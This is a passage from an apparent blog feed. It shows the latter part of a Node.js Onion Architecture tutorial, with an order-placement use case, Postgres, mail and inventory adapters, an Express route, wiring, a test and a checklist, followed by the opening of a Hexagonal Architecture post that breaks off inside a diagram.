<span class="c1">//   Notifier:        { orderConfirmed(order) }</span>

<span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="p">{};</span> <span class="c1">// shapes only, not enforced classes</span>
</code></pre></div></div>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// application/placeOrder.js</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">randomUUID</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">crypto</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">Order</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">../domain/model/order</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">applyLoyaltyDiscount</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">../domain/services/pricing</span><span class="dl">'</span><span class="p">);</span>

<span class="kd">class</span> <span class="nx">OutOfStock</span> <span class="kd">extends</span> <span class="nb">Error</span> <span class="p">{}</span>

<span class="kd">class</span> <span class="nx">PlaceOrder</span> <span class="p">{</span>
  <span class="c1">// Dependencies arrive as ports: catalog, repository, notifier.</span>
  <span class="kd">constructor</span><span class="p">({</span> <span class="nx">productCatalog</span><span class="p">,</span> <span class="nx">orderRepository</span><span class="p">,</span> <span class="nx">notifier</span> <span class="p">})</span> <span class="p">{</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">productCatalog</span> <span class="o">=</span> <span class="nx">productCatalog</span><span class="p">;</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">orderRepository</span> <span class="o">=</span> <span class="nx">orderRepository</span><span class="p">;</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">notifier</span> <span class="o">=</span> <span class="nx">notifier</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="k">async</span> <span class="nx">handle</span><span class="p">({</span> <span class="nx">customerId</span><span class="p">,</span> <span class="nx">items</span><span class="p">,</span> <span class="nx">customer</span> <span class="p">})</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">inStock</span> <span class="o">=</span> <span class="k">await</span> <span class="k">this</span><span class="p">.</span><span class="nx">productCatalog</span><span class="p">.</span><span class="nx">checkStock</span><span class="p">(</span><span class="nx">items</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">inStock</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">throw</span> <span class="k">new</span> <span class="nx">OutOfStock</span><span class="p">(</span><span class="dl">'</span><span class="s1">One or more items are unavailable</span><span class="dl">'</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="kd">const</span> <span class="nx">order</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Order</span><span class="p">(</span><span class="nx">randomUUID</span><span class="p">(),</span> <span class="nx">customerId</span><span class="p">,</span> <span class="nx">items</span><span class="p">);</span>
    <span class="nx">order</span><span class="p">.</span><span class="nx">finalTotal</span> <span class="o">=</span> <span class="nx">applyLoyaltyDiscount</span><span class="p">(</span><span class="nx">order</span><span class="p">,</span> <span class="nx">customer</span><span class="p">);</span>
    <span class="nx">order</span><span class="p">.</span><span class="nx">confirm</span><span class="p">();</span>

    <span class="k">await</span> <span class="k">this</span><span class="p">.</span><span class="nx">orderRepository</span><span class="p">.</span><span class="nx">save</span><span class="p">(</span><span class="nx">order</span><span class="p">);</span>
    <span class="k">await</span> <span class="k">this</span><span class="p">.</span><span class="nx">notifier</span><span class="p">.</span><span class="nx">orderConfirmed</span><span class="p">(</span><span class="nx">order</span><span class="p">);</span>

    <span class="k">return</span> <span class="nx">order</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">PlaceOrder</span><span class="p">,</span> <span class="nx">OutOfStock</span> <span class="p">};</span>
</code></pre></div></div>

<p>Read <code class="language-plaintext highlighter-rouge">handle()</code> top to bottom and it <em>is</em> the business process: check stock, price it, confirm it, save it, notify. No <code class="language-plaintext highlighter-rouge">req</code>, no SQL, no SMTP client. Swap Postgres for MongoDB or SendGrid for a queue — this class does not change.</p>

<figure>
<svg viewBox="0 0 680 230" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Flow: Express route calls PlaceOrder. PlaceOrder depends on three ports defined in the application layer: ProductCatalog, OrderRepository, Notifier. Concrete infrastructure classes implement each port using Postgres, an inventory API and Nodemailer.">
  <style>
    .k{font:600 12px ui-monospace,SFMono-Regular,Menlo,monospace;fill:#0f172a;}
    .n{font:11px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
    .bx{fill:#f8fafc;stroke:#e2e8f0;stroke-width:1.5;}
    .ap{fill:#eff6ff;stroke:#bfdbfe;stroke-width:1.5;}
    .uc{fill:#dbeafe;stroke:#60a5fa;stroke-width:1.5;}
  </style>
  <rect class="bx" x="1" y="80" width="120" height="46" rx="8" />
  <text class="k" x="24" y="100">Express</text>
  <text class="n" x="24" y="117">route</text>

  <rect class="uc" x="165" y="74" width="140" height="58" rx="8" />
  <text class="k" x="182" y="98">PlaceOrder</text>
  <text class="n" x="182" y="116">use case</text>

  <path d="M121 103 H162" fill="none" stroke="#94a3b8" stroke-width="1.5" />
  <polygon points="165,103 156,98 156,108" fill="#94a3b8" />

  <rect class="ap" x="350" y="4" width="160" height="38" rx="8" stroke-dasharray="4 3" />
  <text class="k" x="360" y="28">ProductCatalog</text>
  <rect class="ap" x="350" y="60" width="160" height="38" rx="8" stroke-dasharray="4 3" />
  <text class="k" x="366" y="84">OrderRepository</text>
  <rect class="ap" x="350" y="116" width="160" height="38" rx="8" stroke-dasharray="4 3" />
  <text class="k" x="392" y="140">Notifier</text>

  <path d="M305 90 L348 23 M305 100 L348 79 M305 110 L348 135" fill="none" stroke="#94a3b8" stroke-width="1.2" />

  <rect class="bx" x="540" y="4" width="140" height="38" rx="8" />
  <text class="k" x="548" y="28">InventoryApi</text>
  <rect class="bx" x="540" y="60" width="140" height="38" rx="8" />
  <text class="k" x="552" y="84">PgOrderRepo</text>
  <rect class="bx" x="540" y="116" width="140" height="38" rx="8" />
  <text class="k" x="550" y="140">MailNotifier</text>

  <path d="M540 23 H514 M540 79 H514 M540 135 H514" fill="none" stroke="#15803d" stroke-width="1.3" />
  <polygon points="512,23 521,18 521,28" fill="#15803d" />
  <polygon points="512,79 521,74 521,84" fill="#15803d" />
  <polygon points="512,135 521,130 521,140" fill="#15803d" />
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">The use case only depends on the dashed ports it defines. Green arrows are infrastructure classes implementing them — pointing inward.</figcaption>
</figure>

<h3 id="4-infrastructure--implement-the-ports">4. Infrastructure — implement the ports</h3>

<p><strong>Product catalog</strong> (calls an internal inventory service):</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// infrastructure/inventoryApiCatalog.js</span>
<span class="kd">class</span> <span class="nx">InventoryApiCatalog</span> <span class="p">{</span>
  <span class="kd">constructor</span><span class="p">(</span><span class="nx">httpClient</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">httpClient</span> <span class="o">=</span> <span class="nx">httpClient</span><span class="p">;</span> <span class="c1">// e.g. axios instance</span>
  <span class="p">}</span>

  <span class="k">async</span> <span class="nx">checkStock</span><span class="p">(</span><span class="nx">items</span><span class="p">)</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="p">{</span> <span class="nx">data</span> <span class="p">}</span> <span class="o">=</span> <span class="k">await</span> <span class="k">this</span><span class="p">.</span><span class="nx">httpClient</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="dl">'</span><span class="s1">/inventory/check</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span> <span class="nx">items</span> <span class="p">});</span>
    <span class="k">return</span> <span class="nx">data</span><span class="p">.</span><span class="nx">allInStock</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">InventoryApiCatalog</span> <span class="p">};</span>
</code></pre></div></div>

<p><strong>Order repository</strong> (Postgres, using <a href="https://node-postgres.com/"><code class="language-plaintext highlighter-rouge">pg</code></a>):</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// infrastructure/pgOrderRepository.js</span>
<span class="kd">class</span> <span class="nx">PgOrderRepository</span> <span class="p">{</span>
  <span class="kd">constructor</span><span class="p">(</span><span class="nx">pool</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">pool</span> <span class="o">=</span> <span class="nx">pool</span><span class="p">;</span> <span class="c1">// node-postgres Pool</span>
  <span class="p">}</span>

  <span class="k">async</span> <span class="nx">save</span><span class="p">(</span><span class="nx">order</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">await</span> <span class="k">this</span><span class="p">.</span><span class="nx">pool</span><span class="p">.</span><span class="nx">query</span><span class="p">(</span>
      <span class="s2">`INSERT INTO orders (id, customer_id, total, status)
       VALUES ($1, $2, $3, $4)`</span><span class="p">,</span>
      <span class="p">[</span><span class="nx">order</span><span class="p">.</span><span class="nx">id</span><span class="p">,</span> <span class="nx">order</span><span class="p">.</span><span class="nx">customerId</span><span class="p">,</span> <span class="nx">order</span><span class="p">.</span><span class="nx">finalTotal</span><span class="p">,</span> <span class="nx">order</span><span class="p">.</span><span class="nx">status</span><span class="p">],</span>
    <span class="p">);</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">PgOrderRepository</span> <span class="p">};</span>
</code></pre></div></div>

<p><strong>Notifier</strong> (nodemailer):</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// infrastructure/mailNotifier.js</span>
<span class="kd">class</span> <span class="nx">MailNotifier</span> <span class="p">{</span>
  <span class="kd">constructor</span><span class="p">(</span><span class="nx">transporter</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">this</span><span class="p">.</span><span class="nx">transporter</span> <span class="o">=</span> <span class="nx">transporter</span><span class="p">;</span> <span class="c1">// nodemailer transport</span>
  <span class="p">}</span>

  <span class="k">async</span> <span class="nx">orderConfirmed</span><span class="p">(</span><span class="nx">order</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">await</span> <span class="k">this</span><span class="p">.</span><span class="nx">transporter</span><span class="p">.</span><span class="nx">sendMail</span><span class="p">({</span>
      <span class="na">to</span><span class="p">:</span> <span class="nx">order</span><span class="p">.</span><span class="nx">customerId</span><span class="p">,</span>
      <span class="na">from</span><span class="p">:</span> <span class="dl">'</span><span class="s1">orders@example.com</span><span class="dl">'</span><span class="p">,</span>
      <span class="na">subject</span><span class="p">:</span> <span class="dl">'</span><span class="s1">Order confirmed</span><span class="dl">'</span><span class="p">,</span>
      <span class="na">text</span><span class="p">:</span> <span class="s2">`Your order </span><span class="p">${</span><span class="nx">order</span><span class="p">.</span><span class="nx">id</span><span class="p">}</span><span class="s2"> totals </span><span class="p">${</span><span class="nx">order</span><span class="p">.</span><span class="nx">finalTotal</span><span class="p">}</span><span class="s2">.`</span><span class="p">,</span>
    <span class="p">});</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">MailNotifier</span> <span class="p">};</span>
</code></pre></div></div>

<p>Each class is small and replaceable — exactly what you want for the outermost ring.</p>

<h3 id="5-ui--an-express-route">5. UI — an Express route</h3>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// infrastructure/httpRoutes.js</span>
<span class="kd">const</span> <span class="nx">express</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">express</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">OutOfStock</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">../application/placeOrder</span><span class="dl">'</span><span class="p">);</span>

<span class="kd">function</span> <span class="nx">buildRouter</span><span class="p">(</span><span class="nx">placeOrder</span><span class="p">)</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">router</span> <span class="o">=</span> <span class="nx">express</span><span class="p">.</span><span class="nx">Router</span><span class="p">();</span>

  <span class="nx">router</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="dl">'</span><span class="s1">/orders</span><span class="dl">'</span><span class="p">,</span> <span class="k">async</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="k">try</span> <span class="p">{</span>
      <span class="kd">const</span> <span class="nx">order</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">placeOrder</span><span class="p">.</span><span class="nx">handle</span><span class="p">({</span>
        <span class="na">customerId</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">customerId</span><span class="p">,</span>
        <span class="na">items</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">items</span><span class="p">,</span>
        <span class="na">customer</span><span class="p">:</span> <span class="nx">req</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">customer</span><span class="p">,</span>
      <span class="p">});</span>
      <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">201</span><span class="p">).</span><span class="nx">json</span><span class="p">({</span> <span class="na">id</span><span class="p">:</span> <span class="nx">order</span><span class="p">.</span><span class="nx">id</span><span class="p">,</span> <span class="na">total</span><span class="p">:</span> <span class="nx">order</span><span class="p">.</span><span class="nx">finalTotal</span> <span class="p">});</span>
    <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">if</span> <span class="p">(</span><span class="nx">err</span> <span class="k">instanceof</span> <span class="nx">OutOfStock</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">409</span><span class="p">).</span><span class="nx">json</span><span class="p">({</span> <span class="na">error</span><span class="p">:</span> <span class="nx">err</span><span class="p">.</span><span class="nx">message</span> <span class="p">});</span>
      <span class="p">}</span>
      <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">400</span><span class="p">).</span><span class="nx">json</span><span class="p">({</span> <span class="na">error</span><span class="p">:</span> <span class="nx">err</span><span class="p">.</span><span class="nx">message</span> <span class="p">});</span>
    <span class="p">}</span>
  <span class="p">});</span>

  <span class="k">return</span> <span class="nx">router</span><span class="p">;</span>
<span class="p">}</span>

<span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="p">{</span> <span class="nx">buildRouter</span> <span class="p">};</span>
</code></pre></div></div>

<p>The route turns HTTP into a plain object, calls the use case, turns the result back into HTTP — same job a CLI command or a test would each do differently while calling the exact same <code class="language-plaintext highlighter-rouge">PlaceOrder.handle()</code>.</p>

<h3 id="6-wiring--the-composition-root">6. Wiring — the composition root</h3>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// index.js</span>
<span class="kd">const</span> <span class="nx">express</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">express</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">axios</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">axios</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">Pool</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">pg</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">nodemailer</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">nodemailer</span><span class="dl">'</span><span class="p">);</span>

<span class="kd">const</span> <span class="p">{</span> <span class="nx">PlaceOrder</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">./application/placeOrder</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">InventoryApiCatalog</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">./infrastructure/inventoryApiCatalog</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">PgOrderRepository</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">./infrastructure/pgOrderRepository</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">MailNotifier</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">./infrastructure/mailNotifier</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">buildRouter</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">./infrastructure/httpRoutes</span><span class="dl">'</span><span class="p">);</span>

<span class="kd">const</span> <span class="nx">pool</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Pool</span><span class="p">({</span> <span class="na">connectionString</span><span class="p">:</span> <span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">DATABASE_URL</span> <span class="p">});</span>
<span class="kd">const</span> <span class="nx">httpClient</span> <span class="o">=</span> <span class="nx">axios</span><span class="p">.</span><span class="nx">create</span><span class="p">({</span> <span class="na">baseURL</span><span class="p">:</span> <span class="nx">process</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">INVENTORY_URL</span> <span class="p">});</span>
<span class="kd">const</span> <span class="nx">transporter</span> <span class="o">=</span> <span class="nx">nodemailer</span><span class="p">.</span><span class="nx">createTransport</span><span class="p">({</span> <span class="cm">/* smtp config */</span> <span class="p">});</span>

<span class="kd">const</span> <span class="nx">placeOrder</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">PlaceOrder</span><span class="p">({</span>
  <span class="na">productCatalog</span><span class="p">:</span> <span class="k">new</span> <span class="nx">InventoryApiCatalog</span><span class="p">(</span><span class="nx">httpClient</span><span class="p">),</span>
  <span class="na">orderRepository</span><span class="p">:</span> <span class="k">new</span> <span class="nx">PgOrderRepository</span><span class="p">(</span><span class="nx">pool</span><span class="p">),</span>
  <span class="na">notifier</span><span class="p">:</span> <span class="k">new</span> <span class="nx">MailNotifier</span><span class="p">(</span><span class="nx">transporter</span><span class="p">),</span>
<span class="p">});</span>

<span class="kd">const</span> <span class="nx">app</span> <span class="o">=</span> <span class="nx">express</span><span class="p">();</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="nx">express</span><span class="p">.</span><span class="nx">json</span><span class="p">());</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">use</span><span class="p">(</span><span class="nx">buildRouter</span><span class="p">(</span><span class="nx">placeOrder</span><span class="p">));</span>

<span class="nx">app</span><span class="p">.</span><span class="nx">listen</span><span class="p">(</span><span class="mi">3000</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="dl">'</span><span class="s1">Listening on :3000</span><span class="dl">'</span><span class="p">));</span>
</code></pre></div></div>

<p>This is the only file that knows about Express, <code class="language-plaintext highlighter-rouge">pg</code>, <code class="language-plaintext highlighter-rouge">axios</code>, and <code class="language-plaintext highlighter-rouge">nodemailer</code> <em>and</em> about the domain at the same time. Every ring inward from here is invisible to it.</p>

<hr />

<h2 id="why-this-pays-off-testing-without-a-database">Why this pays off: testing without a database</h2>

<p>Because <code class="language-plaintext highlighter-rouge">PlaceOrder</code> only depends on port shapes, a test hands it plain in-memory fakes — no Express, no Postgres, no network:</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// test/placeOrder.test.js</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">PlaceOrder</span><span class="p">,</span> <span class="nx">OutOfStock</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">../application/placeOrder</span><span class="dl">'</span><span class="p">);</span>

<span class="nx">test</span><span class="p">(</span><span class="dl">'</span><span class="s1">rejects an order when stock is unavailable</span><span class="dl">'</span><span class="p">,</span> <span class="k">async</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">placeOrder</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">PlaceOrder</span><span class="p">({</span>
    <span class="na">productCatalog</span><span class="p">:</span> <span class="p">{</span> <span class="na">checkStock</span><span class="p">:</span> <span class="k">async</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="kc">false</span> <span class="p">},</span>
    <span class="na">orderRepository</span><span class="p">:</span> <span class="p">{</span> <span class="na">save</span><span class="p">:</span> <span class="k">async</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{}</span> <span class="p">},</span>
    <span class="na">notifier</span><span class="p">:</span> <span class="p">{</span> <span class="na">orderConfirmed</span><span class="p">:</span> <span class="k">async</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{}</span> <span class="p">},</span>
  <span class="p">});</span>

  <span class="k">await</span> <span class="nx">expect</span><span class="p">(</span>
    <span class="nx">placeOrder</span><span class="p">.</span><span class="nx">handle</span><span class="p">({</span>
      <span class="na">customerId</span><span class="p">:</span> <span class="dl">'</span><span class="s1">c1</span><span class="dl">'</span><span class="p">,</span>
      <span class="na">items</span><span class="p">:</span> <span class="p">[{</span> <span class="na">productId</span><span class="p">:</span> <span class="dl">'</span><span class="s1">p1</span><span class="dl">'</span><span class="p">,</span> <span class="na">quantity</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">unitPrice</span><span class="p">:</span> <span class="mi">10</span> <span class="p">}],</span>
      <span class="na">customer</span><span class="p">:</span> <span class="p">{</span> <span class="na">loyaltyTier</span><span class="p">:</span> <span class="dl">'</span><span class="s1">STANDARD</span><span class="dl">'</span> <span class="p">},</span>
    <span class="p">}),</span>
  <span class="p">).</span><span class="nx">rejects</span><span class="p">.</span><span class="nx">toBeInstanceOf</span><span class="p">(</span><span class="nx">OutOfStock</span><span class="p">);</span>
<span class="p">});</span>
</code></pre></div></div>

<p>This runs in milliseconds and never touches a real database — the use case never asked for one, only for a <code class="language-plaintext highlighter-rouge">ProductCatalog</code>-shaped object.</p>

<hr />

<h2 id="the-traps">The traps</h2>

<div>

  <table>
    <thead>
      <tr>
        <th>Mistake</th>
        <th>Why it hurts</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td><strong>Putting an ORM entity (e.g. a Sequelize model) at the center as the “domain model”</strong></td>
        <td>Now the innermost ring depends on the ORM. Changing the ORM means rewriting entities.</td>
      </tr>
      <tr>
        <td><strong>Reaching from Domain Services into <code class="language-plaintext highlighter-rouge">req</code>, <code class="language-plaintext highlighter-rouge">res</code>, or environment variables</strong></td>
        <td>Breaks the inward-only rule silently — the ring boundary exists on paper but not in the code.</td>
      </tr>
      <tr>
        <td><strong>Application Services importing a concrete adapter directly (<code class="language-plaintext highlighter-rouge">require('../infrastructure/pgOrderRepository')</code>)</strong></td>
        <td>Defeats the point of defining a port — the use case is now locked to Postgres.</td>
      </tr>
      <tr>
        <td><strong>One “services” folder mixing domain services and application services</strong></td>
        <td>Blurs which rules are pure business logic and which are orchestration — makes the dependency rule hard to audit later.</td>
      </tr>
      <tr>
        <td><strong>Applying this to a five-endpoint prototype</strong></td>
        <td>Four rings and several interfaces is overhead you don’t need yet.</td>
      </tr>
    </tbody>
  </table>

</div>

<hr />

<h2 id="when-to-reach-for-it">When to reach for it</h2>

<p>Onion Architecture is an investment: more files, more interfaces, more indirection. It earns that cost when:</p>

<ul>
  <li>the <strong>domain rules are the most valuable, longest-lived part</strong> of the system — outlasting today’s database or framework;</li>
  <li>you need <strong>fast, database-free tests</strong> for that domain logic;</li>
  <li>you expect to <strong>swap infrastructure</strong> — database, message broker, email provider — without touching business rules;</li>
  <li>more than one <strong>domain service or use case shares the same entities</strong>, so a clear inward dependency rule keeps them from becoming tangled.</li>
</ul>

<p>For a small CRUD script, skip it. For the core of a service you’ll run and evolve for years, the rings are worth the extra files.</p>

<hr />

<h2 id="a-five-point-checklist">A five-point checklist</h2>

<ol>
  <li><strong>Keep the Domain Model free of library imports.</strong> No ORM base classes, no <code class="language-plaintext highlighter-rouge">express</code>, no SDK types inside entities.</li>
  <li><strong>Push cross-entity rules into Domain Services, not into a controller.</strong> They stay pure, no I/O.</li>
  <li><strong>Define ports in the Application layer, next to the use case that needs them.</strong> The interface lives with the consumer, not the infrastructure.</li>
  <li><strong>Let Infrastructure implement ports, never the reverse.</strong> An inner ring must never <code class="language-plaintext highlighter-rouge">require()</code> an outer one.</li>
  <li><strong>Wire everything in one composition root</strong> (<code class="language-plaintext highlighter-rouge">index.js</code>) and nowhere else.</li>
</ol>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>Onion Architecture is one idea drawn as rings: <strong>the Domain Model sits untouched at the center, and every ring around it may depend inward but never outward.</strong> In Node.js this costs nothing exotic — plain classes for entities, constructor injection for use cases, and the discipline to keep <code class="language-plaintext highlighter-rouge">require('pg')</code> and <code class="language-plaintext highlighter-rouge">require('express')</code> out of the inner rings.</p>

<p>The payoff is a domain you can test in milliseconds, infrastructure you can swap without fear, and a codebase where “what does placing an order actually do” has one obvious, framework-free answer.</p>]]></content><author><name>Milanda Wijekoon</name><email>milandawijekoon@gmail.com</email></author><category term="Architecture" /><summary type="html"><![CDATA[Onion Architecture in plain terms: the rings, the dependency rule, and one real feature — placing an order — built the onion way in Node.js. A 10–15 minute read.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://milandawijekoon.github.io/assets/images/logo.png" /><media:content medium="image" url="https://milandawijekoon.github.io/assets/images/logo.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Hexagonal Architecture Explained with a Real-World Use Case</title><link href="https://milandawijekoon.github.io/blog/hexagonal-architecture-explained-with-a-real-world-use-case/" rel="alternate" type="text/html" title="Hexagonal Architecture Explained with a Real-World Use Case" /><published>2026-09-14T00:00:00+00:00</published><updated>2026-09-14T00:00:00+00:00</updated><id>https://milandawijekoon.github.io/blog/hexagonal-architecture-explained-with-a-real-world-use-case</id><content type="html" xml:base="https://milandawijekoon.github.io/blog/hexagonal-architecture-explained-with-a-real-world-use-case/"><![CDATA[<p>Hexagonal Architecture — also called <strong>Ports &amp; Adapters</strong> — was coined by Alistair Cockburn in 2005 to answer one question: <em>how do you build an application that a user, a test, or a script can all drive the same way, without the database or the web framework leaking into your business logic?</em></p>

<p>This note strips it to the essentials: the hexagon shape, ports vs. adapters, and one real feature — registering a user in a small API — built the hexagonal way in Node.js. It reads in about 10–15 minutes.</p>

<hr />

<h2 id="the-one-sentence-definition">The one-sentence definition</h2>

<p><strong>Hexagonal Architecture puts your business logic in the center, talking only to interfaces (ports) it defines — while everything that touches the outside world (HTTP, a database, email, a CLI) is an adapter plugged into those ports from the edges.</strong></p>

<p>Everything below is a consequence of that sentence.</p>

<hr />

<h2 id="why-a-hexagon">Why a hexagon?</h2>

<p>The shape isn’t special — it’s just a hexagon so there’s visual room to draw several sides, each one representing a different way something can plug into the application. Some sides are <strong>driving</strong> (things that call your app: HTTP requests, CLI commands, a message queue consumer). Others are <strong>driven</strong> (things your app calls out to: a database, an email provider, a payment API).</p>

<figure>
<svg viewBox="0 0 710 440" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="A hexagon labeled Application Core in the middle. Driving adapters on the left — REST controller and CLI command — connect in through ports. Driven adapters on the right — Postgres repository and email sender — are called out through ports the core defines.">
  <style>
    .lbl{font:600 14px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .sub{font:11.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
    .k{font:600 12px ui-monospace,SFMono-Regular,Menlo,monospace;fill:#0f172a;}
    .pk{font:600 11px ui-monospace,SFMono-Regular,Menlo,monospace;fill:#1d4ed8;}
    .bx{fill:#f8fafc;stroke:#e2e8f0;stroke-width:1.5;}
    .port{fill:#eff6ff;stroke:#93c5fd;stroke-width:1.5;stroke-dasharray:4 3;}
    .core{fill:#dbeafe;stroke:#3b82f6;stroke-width:2;}
    .arw{stroke-width:2;}
  </style>

  <polygon points="350,50 425,130 425,340 350,420 275,340 275,130" class="core" />
  <text class="lbl" x="308" y="220" fill="#1d4ed8">Application</text>
  <text class="lbl" x="328" y="240" fill="#1d4ed8">Core</text>
  <text class="sub" x="293" y="263">entities + use cases</text>

  <text class="sub" x="155" y="25">driving side (left)</text>
  <text class="sub" x="450" y="25">driven side (right)</text>

  <rect class="bx" x="5" y="108" width="135" height="44" rx="8" />
  <text class="k" x="13" y="134">REST Controller</text>
